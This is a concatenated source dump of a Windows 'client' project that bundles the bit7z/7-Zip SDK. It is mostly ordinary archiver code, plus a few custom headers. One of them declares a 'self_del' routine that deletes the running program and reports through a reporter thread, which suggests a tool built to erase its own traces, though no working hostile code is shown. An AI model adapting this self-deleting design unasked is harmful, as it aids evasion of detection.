/client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Crypto/7zAesRegister.cpp: -------------------------------------------------------------------------------- 1 | // 7zAesRegister.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../Common/RegisterCodec.h" 6 | 7 | #include "7zAes.h" 8 | 9 | namespace NCrypto { 10 | namespace N7z { 11 | 12 | REGISTER_FILTER_E(_7zAES, 13 | CDecoder, 14 | CEncoder, 15 | 0x6F10701, "7zAES") 16 | 17 | }} 18 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/BcjRegister.cpp: -------------------------------------------------------------------------------- 1 | // BcjRegister.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../Common/RegisterCodec.h" 6 | 7 | #include "BcjCoder.h" 8 | 9 | namespace NCompress { 10 | namespace NBcj { 11 | 12 | REGISTER_FILTER_E(BCJ, 13 | CCoder(false), 14 | CCoder(true), 15 | 0x3030103, "BCJ") 16 | 17 | }} 18 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/CopyRegister.cpp: -------------------------------------------------------------------------------- 1 | // CopyRegister.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../Common/RegisterCodec.h" 6 | 7 | #include "CopyCoder.h" 8 | 9 | namespace NCompress { 10 | 11 | REGISTER_CODEC_CREATE(CreateCodec, CCopyCoder()) 12 | 13 | REGISTER_CODEC_2(Copy, CreateCodec, CreateCodec, 0, "Copy") 14 | 15 | } 16 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/Fm/StdAfx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h 2 | 3 | #ifndef __STDAFX_H 4 | #define __STDAFX_H 5 | 6 | // #define _WIN32_WINNT 0x0400 7 | #define _WIN32_WINNT 0x0500 8 | #define WINVER _WIN32_WINNT 9 | 10 | #include "../../../Common/Common.h" 11 | 12 | #include 13 | #include 14 | #include 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /client/shared/network/ntwrkcomms.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #pragma comment(lib, "Ws2_32.lib") 7 | #pragma comment(lib, "iphlpapi.lib") 8 | #pragma comment(lib,"ntdll.lib") 9 | 10 | ULONG get_current_host(char* current_host_buffer, PULONG status); 11 | ULONG lookup_address(char* host); -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Common/FindSignature.h: -------------------------------------------------------------------------------- 1 | // FindSignature.h 2 | 3 | #ifndef __FIND_SIGNATURE_H 4 | #define __FIND_SIGNATURE_H 5 | 6 | #include "../../IStream.h" 7 | 8 | HRESULT FindSignatureInStream(ISequentialInStream *stream, 9 | const Byte *signature, unsigned signatureSize, 10 | const UInt64 *limit, UInt64 &resPos); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/EditPage.rc: -------------------------------------------------------------------------------- 1 | #include "EditPageRes.h" 2 | #include "../../GuiCommon.rc" 3 | 4 | #define xc 240 5 | #define yc 80 6 | 7 | IDD_EDIT MY_PAGE 8 | #include "EditPage2.rc" 9 | 10 | #ifdef UNDER_CE 11 | 12 | #undef xc 13 | 14 | #define xc SMALL_PAGE_SIZE_X 15 | 16 | IDD_EDIT_2 MY_PAGE 17 | #include "EditPage2.rc" 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Aes.mak: -------------------------------------------------------------------------------- 1 | C_OBJS = $(C_OBJS) \ 2 | $O\Aes.obj 3 | 4 | !IF defined(USE_C_AES) || "$(PLATFORM)" == "arm" || "$(PLATFORM)" == "arm64" 5 | C_OBJS = $(C_OBJS) \ 6 | $O\AesOpt.obj 7 | !ELSEIF "$(PLATFORM)" != "ia64" && "$(PLATFORM)" != "mips" && "$(PLATFORM)" != "arm" && "$(PLATFORM)" != "arm64" 8 | ASM_OBJS = $(ASM_OBJS) \ 9 | $O\AesOpt.obj 10 | !ENDIF 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/makefile: -------------------------------------------------------------------------------- 1 | DIRS = \ 2 | 7z\~ \ 3 | Arj\~ \ 4 | BZip2\~ \ 5 | Cab\~ \ 6 | Chm\~ \ 7 | Cpio\~ \ 8 | Deb\~ \ 9 | GZip\~ \ 10 | Iso\~ \ 11 | Lzh\~ \ 12 | Nsis\~ \ 13 | Rar\~ \ 14 | RPM\~ \ 15 | Split\~ \ 16 | Tar\~ \ 17 | Z\~ \ 18 | Zip\~ \ 19 | 20 | all: $(DIRS) 21 | 22 | $(DIRS): 23 | !include "../SubBuild.mak" 24 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/SFXSetup/ExtractEngine.h: -------------------------------------------------------------------------------- 1 | // ExtractEngine.h 2 | 3 | #ifndef __EXTRACT_ENGINE_H 4 | #define __EXTRACT_ENGINE_H 5 | 6 | #include "../../UI/Common/LoadCodecs.h" 7 | 8 | HRESULT ExtractArchive(CCodecs *codecs, const FString &fileName, const FString &destFolder, 9 | bool showProgress, bool &isCorrupt, UString &errorMessage); 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/GUI/resource3.h: -------------------------------------------------------------------------------- 1 | #define IDS_PROGRESS_REMOVE 3305 2 | 3 | #define IDS_PROGRESS_ADD 3320 4 | #define IDS_PROGRESS_UPDATE 3321 5 | #define IDS_PROGRESS_ANALYZE 3322 6 | #define IDS_PROGRESS_REPLICATE 3323 7 | #define IDS_PROGRESS_REPACK 3324 8 | 9 | #define IDS_PROGRESS_DELETE 3326 10 | #define IDS_PROGRESS_HEADER 3327 11 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/include/bitcompressionmethod.hpp: -------------------------------------------------------------------------------- 1 | #ifndef BITCOMPRESSIONMETHOD_HPP 2 | #define BITCOMPRESSIONMETHOD_HPP 3 | 4 | namespace bit7z { 5 | enum class BitCompressionMethod { 6 | Copy, 7 | Deflate, 8 | Deflate64, 9 | BZip2, 10 | Lzma, 11 | Lzma2, 12 | Ppmd 13 | }; 14 | } 15 | 16 | #endif // BITCOMPRESSIONMETHOD_HPP 17 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Bundles/makefile: -------------------------------------------------------------------------------- 1 | DIRS = \ 2 | Alone\~ \ 3 | Alone2\~ \ 4 | Alone7z\~ \ 5 | Fm\~ \ 6 | Format7z\~ \ 7 | Format7zF\~ \ 8 | Format7zR\~ \ 9 | Format7zExtract\~ \ 10 | Format7zExtractR\~ \ 11 | LzmaCon\~ \ 12 | SFXCon\~ \ 13 | SFXSetup\~ \ 14 | SFXWin\~ \ 15 | 16 | all: $(DIRS) 17 | 18 | $(DIRS): 19 | !include "../SubBuild.mak" 20 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/7zipUninstall/makefile: -------------------------------------------------------------------------------- 1 | PROG = 7zipUninstall.exe 2 | MY_FIXED = 1 3 | 4 | !IFDEF _64BIT_INSTALLER 5 | CFLAGS = $(CFLAGS) -D_64BIT_INSTALLER 6 | !ENDIF 7 | 8 | MAIN_OBJS = \ 9 | $O\7zipUninstall.obj \ 10 | 11 | OBJS = \ 12 | $(MAIN_OBJS) \ 13 | $O\resource.res 14 | 15 | !include "../../../CPP/Build.mak" 16 | 17 | $(MAIN_OBJS): $(*B).c 18 | $(COMPL_O1) 19 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Cab/CabRegister.cpp: -------------------------------------------------------------------------------- 1 | // CabRegister.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../Common/RegisterArc.h" 6 | 7 | #include "CabHandler.h" 8 | 9 | namespace NArchive { 10 | namespace NCab { 11 | 12 | REGISTER_ARC_I( 13 | "Cab", "cab", 0, 8, 14 | NHeader::kMarker, 15 | 0, 16 | NArcInfoFlags::kFindSignature, 17 | NULL) 18 | 19 | }} 20 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Explorer/RegistryContextMenu.h: -------------------------------------------------------------------------------- 1 | // RegistryContextMenu.h 2 | 3 | #ifndef __REGISTRY_CONTEXT_MENU_H 4 | #define __REGISTRY_CONTEXT_MENU_H 5 | 6 | #ifndef UNDER_CE 7 | 8 | bool CheckContextMenuHandler(const UString &path, UInt32 wow = 0); 9 | LONG SetContextMenuHandler(bool setMode, const UString &path, UInt32 wow = 0); 10 | 11 | #endif 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Console/BenchCon.h: -------------------------------------------------------------------------------- 1 | // BenchCon.h 2 | 3 | #ifndef __BENCH_CON_H 4 | #define __BENCH_CON_H 5 | 6 | #include 7 | 8 | #include "../../Common/CreateCoder.h" 9 | #include "../../UI/Common/Property.h" 10 | 11 | HRESULT BenchCon(DECL_EXTERNAL_CODECS_LOC_VARS 12 | const CObjectVector &props, UInt32 numIterations, FILE *f); 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/DllSecur.h: -------------------------------------------------------------------------------- 1 | /* DllSecur.h -- DLL loading for security 2 | 2018-02-19 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __DLL_SECUR_H 5 | #define __DLL_SECUR_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | #ifdef _WIN32 12 | 13 | void My_SetDefaultDllDirectories(void); 14 | void LoadSecurityDlls(void); 15 | 16 | #endif 17 | 18 | EXTERN_C_END 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/MenuPageRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_MENU 2300 2 | #define IDD_MENU_2 12300 3 | 4 | #define IDX_SYSTEM_INTEGRATE_TO_MENU 2301 5 | #define IDX_SYSTEM_CASCADED_MENU 2302 6 | #define IDT_SYSTEM_CONTEXT_MENU_ITEMS 2303 7 | #define IDX_SYSTEM_ICON_IN_MENU 2304 8 | 9 | #define IDX_SYSTEM_INTEGRATE_TO_MENU_2 2310 10 | 11 | #define IDL_SYSTEM_OPTIONS 100 12 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/Control/Edit.h: -------------------------------------------------------------------------------- 1 | // Windows/Control/Edit.h 2 | 3 | #ifndef __WINDOWS_CONTROL_EDIT_H 4 | #define __WINDOWS_CONTROL_EDIT_H 5 | 6 | #include "../Window.h" 7 | 8 | namespace NWindows { 9 | namespace NControl { 10 | 11 | class CEdit: public CWindow 12 | { 13 | public: 14 | void SetPasswordChar(WPARAM c) { SendMsg(EM_SETPASSWORDCHAR, c); } 15 | }; 16 | 17 | }} 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Cab/CabHeader.cpp: -------------------------------------------------------------------------------- 1 | // CabHeader.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "CabHeader.h" 6 | 7 | namespace NArchive { 8 | namespace NCab { 9 | namespace NHeader { 10 | 11 | const Byte kMarker[kMarkerSize] = {'M', 'S', 'C', 'F', 0, 0, 0, 0 }; 12 | 13 | // struct CSignatureInitializer { CSignatureInitializer() { kMarker[0]--; } } g_SignatureInitializer; 14 | 15 | }}} 16 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/Common/TempFiles.cpp: -------------------------------------------------------------------------------- 1 | // TempFiles.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../../Windows/FileDir.h" 6 | 7 | #include "TempFiles.h" 8 | 9 | using namespace NWindows; 10 | using namespace NFile; 11 | 12 | void CTempFiles::Clear() 13 | { 14 | while (!Paths.IsEmpty()) 15 | { 16 | NDir::DeleteFileAlways(Paths.Back()); 17 | Paths.DeleteBack(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/ErrorMsg.h: -------------------------------------------------------------------------------- 1 | // Windows/ErrorMsg.h 2 | 3 | #ifndef __WINDOWS_ERROR_MSG_H 4 | #define __WINDOWS_ERROR_MSG_H 5 | 6 | #include "../Common/MyString.h" 7 | 8 | namespace NWindows { 9 | namespace NError { 10 | 11 | UString MyFormatMessage(DWORD errorCode); 12 | inline UString MyFormatMessage(HRESULT errorCode) { return MyFormatMessage((DWORD)errorCode); } 13 | 14 | }} 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Sort.h: -------------------------------------------------------------------------------- 1 | /* Sort.h -- Sort functions 2 | 2014-04-05 : Igor Pavlov : Public domain */ 3 | 4 | #ifndef __7Z_SORT_H 5 | #define __7Z_SORT_H 6 | 7 | #include "7zTypes.h" 8 | 9 | EXTERN_C_BEGIN 10 | 11 | void HeapSort(UInt32 *p, size_t size); 12 | void HeapSort64(UInt64 *p, size_t size); 13 | 14 | /* void HeapSortRef(UInt32 *p, UInt32 *vals, size_t size); */ 15 | 16 | EXTERN_C_END 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/7z/7zProperties.h: -------------------------------------------------------------------------------- 1 | // 7zProperties.h 2 | 3 | #ifndef __7Z_PROPERTIES_H 4 | #define __7Z_PROPERTIES_H 5 | 6 | #include "../../PropID.h" 7 | 8 | namespace NArchive { 9 | namespace N7z { 10 | 11 | enum 12 | { 13 | kpidPackedSize0 = kpidUserDefined, 14 | kpidPackedSize1, 15 | kpidPackedSize2, 16 | kpidPackedSize3, 17 | kpidPackedSize4 18 | }; 19 | 20 | }} 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/LzmaLib/LzmaLibExports.c: -------------------------------------------------------------------------------- 1 | /* LzmaLibExports.c -- LZMA library DLL Entry point 2 | 2015-11-08 : Igor Pavlov : Public domain */ 3 | 4 | #include "../../Precomp.h" 5 | 6 | #include 7 | 8 | BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved) 9 | { 10 | UNUSED_VAR(hInstance); 11 | UNUSED_VAR(dwReason); 12 | UNUSED_VAR(lpReserved); 13 | return TRUE; 14 | } 15 | -------------------------------------------------------------------------------- /client/Cleanup/Cleanup.h: -------------------------------------------------------------------------------- 1 | #include "common/reporter.h" 2 | #include "common/stringconvert.h" 3 | #include "customcrt/crtstring.h" 4 | #include 5 | #define MAX_IMAGE_PATH_SIZE 10000 6 | #define MAX_IMAGE_NAME_SIZE 2000 7 | typedef struct initial_info { 8 | char* image_path; 9 | char* image_name; 10 | }initial_info, * Pinitial_info; 11 | void self_del(HANDLE hreporter, DWORD dwreporter_threadid, Pinitial_info pinfo); 12 | Pinitial_info get_init_info(); -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Nsis/NsisRegister.cpp: -------------------------------------------------------------------------------- 1 | // NsisRegister.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../Common/RegisterArc.h" 6 | 7 | #include "NsisHandler.h" 8 | 9 | namespace NArchive { 10 | namespace NNsis { 11 | 12 | REGISTER_ARC_I( 13 | "Nsis", "nsis", 0, 0x9, 14 | kSignature, 15 | 4, 16 | NArcInfoFlags::kFindSignature | 17 | NArcInfoFlags::kUseGlobalOffset, 18 | NULL) 19 | 20 | }} 21 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/LzmaRegister.cpp: -------------------------------------------------------------------------------- 1 | // LzmaRegister.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../Common/RegisterCodec.h" 6 | 7 | #include "LzmaDecoder.h" 8 | 9 | #ifndef EXTRACT_ONLY 10 | #include "LzmaEncoder.h" 11 | #endif 12 | 13 | namespace NCompress { 14 | namespace NLzma { 15 | 16 | REGISTER_CODEC_E(LZMA, 17 | CDecoder(), 18 | CEncoder(), 19 | 0x30101, 20 | "LZMA") 21 | 22 | }} 23 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/PpmdRegister.cpp: -------------------------------------------------------------------------------- 1 | // PpmdRegister.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../Common/RegisterCodec.h" 6 | 7 | #include "PpmdDecoder.h" 8 | 9 | #ifndef EXTRACT_ONLY 10 | #include "PpmdEncoder.h" 11 | #endif 12 | 13 | namespace NCompress { 14 | namespace NPpmd { 15 | 16 | REGISTER_CODEC_E(PPMD, 17 | CDecoder(), 18 | CEncoder(), 19 | 0x30401, 20 | "PPMD") 21 | 22 | }} 23 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/StringUtils.h: -------------------------------------------------------------------------------- 1 | // StringUtils.h 2 | 3 | #ifndef __STRING_UTILS_H 4 | #define __STRING_UTILS_H 5 | 6 | #include "../../../Common/MyString.h" 7 | 8 | void SplitStringToTwoStrings(const UString &src, UString &dest1, UString &dest2); 9 | 10 | void SplitString(const UString &srcString, UStringVector &destStrings); 11 | UString JoinStrings(const UStringVector &srcStrings); 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Compress/Lzma2Register.cpp: -------------------------------------------------------------------------------- 1 | // Lzma2Register.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../Common/RegisterCodec.h" 6 | 7 | #include "Lzma2Decoder.h" 8 | 9 | #ifndef EXTRACT_ONLY 10 | #include "Lzma2Encoder.h" 11 | #endif 12 | 13 | namespace NCompress { 14 | namespace NLzma2 { 15 | 16 | REGISTER_CODEC_E(LZMA2, 17 | CDecoder(), 18 | CEncoder(), 19 | 0x21, 20 | "LZMA2") 21 | 22 | }} 23 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/IProgress.h: -------------------------------------------------------------------------------- 1 | // IProgress.h 2 | 3 | #ifndef __IPROGRESS_H 4 | #define __IPROGRESS_H 5 | 6 | #include "../Common/MyTypes.h" 7 | 8 | #include "IDecl.h" 9 | 10 | #define INTERFACE_IProgress(x) \ 11 | STDMETHOD(SetTotal)(UInt64 total) x; \ 12 | STDMETHOD(SetCompleted)(const UInt64 *completeValue) x; \ 13 | 14 | DECL_INTERFACE(IProgress, 0, 5) 15 | { 16 | INTERFACE_IProgress(PURE) 17 | }; 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/ComboDialog.rc: -------------------------------------------------------------------------------- 1 | #include "ComboDialogRes.h" 2 | #include "../../GuiCommon.rc" 3 | 4 | #define xc 240 5 | #define yc 64 6 | 7 | IDD_COMBO DIALOG 0, 0, xs, ys MY_MODAL_RESIZE_DIALOG_STYLE MY_FONT 8 | CAPTION "Combo" 9 | { 10 | LTEXT "", IDT_COMBO, m, m, xc, 8 11 | COMBOBOX IDC_COMBO, m, 20, xc, 65, MY_COMBO_WITH_EDIT 12 | OK_CANCEL 13 | } 14 | 15 | #undef xc 16 | #undef yc 17 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/FormatUtils.h: -------------------------------------------------------------------------------- 1 | // FormatUtils.h 2 | 3 | #ifndef __FORMAT_UTILS_H 4 | #define __FORMAT_UTILS_H 5 | 6 | #include "../../../Common/MyTypes.h" 7 | #include "../../../Common/MyString.h" 8 | 9 | UString NumberToString(UInt64 number); 10 | 11 | UString MyFormatNew(const UString &format, const UString &argument); 12 | UString MyFormatNew(UINT resourceID, const UString &argument); 13 | 14 | #endif 15 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/C/Util/Lzma/makefile.gcc: -------------------------------------------------------------------------------- 1 | PROG = 7lzma 2 | 3 | include ../../../CPP/7zip/LzmaDec_gcc.mak 4 | 5 | 6 | OBJS = \ 7 | $(LZMA_DEC_OPT_OBJS) \ 8 | $O/7zFile.o \ 9 | $O/7zStream.o \ 10 | $O/Alloc.o \ 11 | $O/CpuArch.o \ 12 | $O/LzFind.o \ 13 | $O/LzFindMt.o \ 14 | $O/LzFindOpt.o \ 15 | $O/LzmaDec.o \ 16 | $O/LzmaEnc.o \ 17 | $O/LzmaUtil.o \ 18 | $O/Threads.o \ 19 | 20 | 21 | include ../../7zip_gcc_c.mak 22 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/ProgressDialog.rc: -------------------------------------------------------------------------------- 1 | #include "ProgressDialogRes.h" 2 | #include "../../GuiCommon.rc" 3 | 4 | #define xc 172 5 | #define yc 44 6 | 7 | IDD_PROGRESS DIALOG 0, 0, xs, ys MY_MODAL_DIALOG_STYLE MY_FONT 8 | CAPTION "Progress" 9 | BEGIN 10 | PUSHBUTTON "Cancel", IDCANCEL, bx, by, bxs, bys 11 | CONTROL "Progress1", IDC_PROGRESS1, "msctls_progress32", PBS_SMOOTH | WS_BORDER, m, m, xc, 14 12 | END 13 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/SettingsPage.rc: -------------------------------------------------------------------------------- 1 | #include "SettingsPageRes.h" 2 | #include "../../GuiCommon.rc" 3 | 4 | #define xc 240 5 | #define yc 250 6 | 7 | IDD_SETTINGS MY_PAGE 8 | #include "SettingsPage2.rc" 9 | 10 | 11 | #ifdef UNDER_CE 12 | 13 | #undef m 14 | #undef xc 15 | 16 | #define m 4 17 | #define xc (SMALL_PAGE_SIZE_X + 8) 18 | 19 | IDD_SETTINGS_2 MY_PAGE 20 | #include "SettingsPage2.rc" 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/Windows/ResourceString.h: -------------------------------------------------------------------------------- 1 | // Windows/ResourceString.h 2 | 3 | #ifndef __WINDOWS_RESOURCE_STRING_H 4 | #define __WINDOWS_RESOURCE_STRING_H 5 | 6 | #include "../Common/MyString.h" 7 | 8 | namespace NWindows { 9 | 10 | UString MyLoadString(UINT resourceID); 11 | void MyLoadString(HINSTANCE hInstance, UINT resourceID, UString &dest); 12 | void MyLoadString(UINT resourceID, UString &dest); 13 | 14 | } 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/EditDialog.rc: -------------------------------------------------------------------------------- 1 | #include "EditDialogRes.h" 2 | #include "../../GuiCommon.rc" 3 | 4 | #define xc 320 5 | #define yc 240 6 | 7 | IDD_EDIT_DLG DIALOG 0, 0, xs, ys MY_MODAL_RESIZE_DIALOG_STYLE MY_FONT 8 | CAPTION "Edit" 9 | { 10 | // OK_CANCEL 11 | MY_BUTTON__CLOSE 12 | 13 | EDITTEXT IDE_EDIT, m, m, xc, yc - bys - m, 14 | ES_MULTILINE | ES_READONLY | WS_VSCROLL | WS_HSCROLL | ES_WANTRETURN 15 | } 16 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Sha1.mak: -------------------------------------------------------------------------------- 1 | COMMON_OBJS = $(COMMON_OBJS) \ 2 | $O\Sha1Prepare.obj 3 | 4 | C_OBJS = $(C_OBJS) \ 5 | $O\Sha1.obj 6 | 7 | !IF defined(USE_C_SHA) || "$(PLATFORM)" == "arm" || "$(PLATFORM)" == "arm64" 8 | C_OBJS = $(C_OBJS) \ 9 | $O\Sha1Opt.obj 10 | !ELSEIF "$(PLATFORM)" != "ia64" && "$(PLATFORM)" != "mips" && "$(PLATFORM)" != "arm" && "$(PLATFORM)" != "arm64" 11 | ASM_OBJS = $(ASM_OBJS) \ 12 | $O\Sha1Opt.obj 13 | !ENDIF 14 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/EditPageRes.h: -------------------------------------------------------------------------------- 1 | #define IDD_EDIT 2103 2 | #define IDD_EDIT_2 12103 3 | 4 | #define IDT_EDIT_VIEWER 543 5 | #define IDT_EDIT_EDITOR 2104 6 | #define IDT_EDIT_DIFF 2105 7 | 8 | #define IDE_EDIT_VIEWER 100 9 | #define IDB_EDIT_VIEWER 101 10 | 11 | #define IDE_EDIT_EDITOR 102 12 | #define IDB_EDIT_EDITOR 103 13 | 14 | #define IDE_EDIT_DIFF 104 15 | #define IDB_EDIT_DIFF 105 16 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/MenuPage.rc: -------------------------------------------------------------------------------- 1 | #include "MenuPageRes.h" 2 | #include "../../GuiCommon.rc" 3 | 4 | #define xc 240 5 | #define yc 252 6 | 7 | IDD_MENU MY_PAGE 8 | #include "MenuPage2.rc" 9 | 10 | #ifdef UNDER_CE 11 | 12 | #undef m 13 | #undef xc 14 | #undef yc 15 | 16 | #define m 4 17 | #define xc (SMALL_PAGE_SIZE_X + 8) 18 | 19 | #define yc 112 20 | 21 | IDD_MENU_2 MY_PAGE 22 | #include "MenuPage2.rc" 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Archive/Iso/IsoRegister.cpp: -------------------------------------------------------------------------------- 1 | // IsoRegister.cpp 2 | 3 | #include "StdAfx.h" 4 | 5 | #include "../../Common/RegisterArc.h" 6 | 7 | #include "IsoHandler.h" 8 | 9 | namespace NArchive { 10 | namespace NIso { 11 | 12 | static const Byte k_Signature[] = { 'C', 'D', '0', '0', '1' }; 13 | 14 | REGISTER_ARC_I( 15 | "Iso", "iso img", 0, 0xE7, 16 | k_Signature, 17 | NArchive::NIso::kStartPos + 1, 18 | 0, 19 | NULL) 20 | 21 | }} 22 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/Sha256.mak: -------------------------------------------------------------------------------- 1 | COMMON_OBJS = $(COMMON_OBJS) \ 2 | $O\Sha256Prepare.obj 3 | 4 | C_OBJS = $(C_OBJS) \ 5 | $O\Sha256.obj 6 | 7 | !IF defined(USE_C_SHA) || "$(PLATFORM)" == "arm" || "$(PLATFORM)" == "arm64" 8 | C_OBJS = $(C_OBJS) \ 9 | $O\Sha256Opt.obj 10 | !ELSEIF "$(PLATFORM)" != "ia64" && "$(PLATFORM)" != "mips" && "$(PLATFORM)" != "arm" && "$(PLATFORM)" != "arm64" 11 | ASM_OBJS = $(ASM_OBJS) \ 12 | $O\Sha256Opt.obj 13 | !ENDIF 14 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/GUI/resource3.rc: -------------------------------------------------------------------------------- 1 | #include "resource3.h" 2 | 3 | STRINGTABLE 4 | BEGIN 5 | IDS_PROGRESS_REMOVE "Removing" 6 | 7 | IDS_PROGRESS_ADD "Adding" 8 | IDS_PROGRESS_UPDATE "Updating" 9 | IDS_PROGRESS_ANALYZE "Analyzing" 10 | IDS_PROGRESS_REPLICATE "Replicating" 11 | IDS_PROGRESS_REPACK "Repacking" 12 | 13 | IDS_PROGRESS_DELETE "Deleting" 14 | IDS_PROGRESS_HEADER "Header creating" 15 | END 16 | -------------------------------------------------------------------------------- /client/shared/common/allocation.c: -------------------------------------------------------------------------------- 1 | #include "allocation.h" 2 | LPVOID allocheap(DWORD size) { 3 | return HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size); 4 | } 5 | void freeheap(LPVOID heap) { 6 | HeapFree(GetProcessHeap(),HEAP_ZERO_MEMORY, heap); 7 | } 8 | 9 | LPVOID reallocheap(LPVOID heap,DWORD size) { 10 | LPVOID he = NULL; 11 | he=HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, heap, size); 12 | if (he == NULL) 13 | return allocheap(size); 14 | else return he; 15 | } 16 | -------------------------------------------------------------------------------- /client/bit7z-3.1.5/bit7z-3.1.5/lib/7zSDK/CPP/7zip/UI/FileManager/DialogSize.h: -------------------------------------------------------------------------------- 1 | // DialogSize.h 2 | 3 | #ifndef __DIALOG_SIZE_H 4 | #define __DIALOG_SIZE_H 5 | 6 | #include "../../../Windows/Control/Dialog.h" 7 | 8 